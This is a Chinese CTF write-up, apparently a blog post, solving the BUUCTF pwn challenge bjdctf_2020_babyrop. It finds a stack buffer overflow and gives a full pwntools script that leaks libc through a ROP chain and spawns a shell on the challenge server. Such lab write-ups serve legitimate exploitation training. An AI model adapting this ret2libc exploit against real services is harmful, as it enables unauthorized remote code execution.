[BUUCTF]PWN——bjdctf_2020_babyrop

bjdctf_2020_babyrop

例行检查 ,开启NX保护。
在这里插入图片描述
运行一下。
在这里插入图片描述
IDA打开,检索字符串,没有信息。
在这里插入图片描述
查看main函数,调用了vuln函数。
在这里插入图片描述
buf大小是0x20,但read读取了0x64,明显的溢出漏洞
在这里插入图片描述
大概是64位的libc泄露。

根据目前所学,libc泄露需要利用程序里调用过的函数来进行版本泄露,再通过函数的地址来计算出偏移量,从而计算出system函数和字符串“/bin/sh”的地址,再重新执行main函数,构造rop,执行已经得到的system函数和字符串“/bin/sh”。

64位程序在传参的时候需要用到寄存器
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时,后面的依次从 “右向左” 放入栈中。
设置rdi寄存器的指令
在这里插入图片描述

from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',28514)
elf=ELF('./bjdctf_2020_babyrop')
context.log_level='debug'

main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733

payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
#计算system和bin/sh的实际地址
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)

r.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/BangSen1/article/details/115218194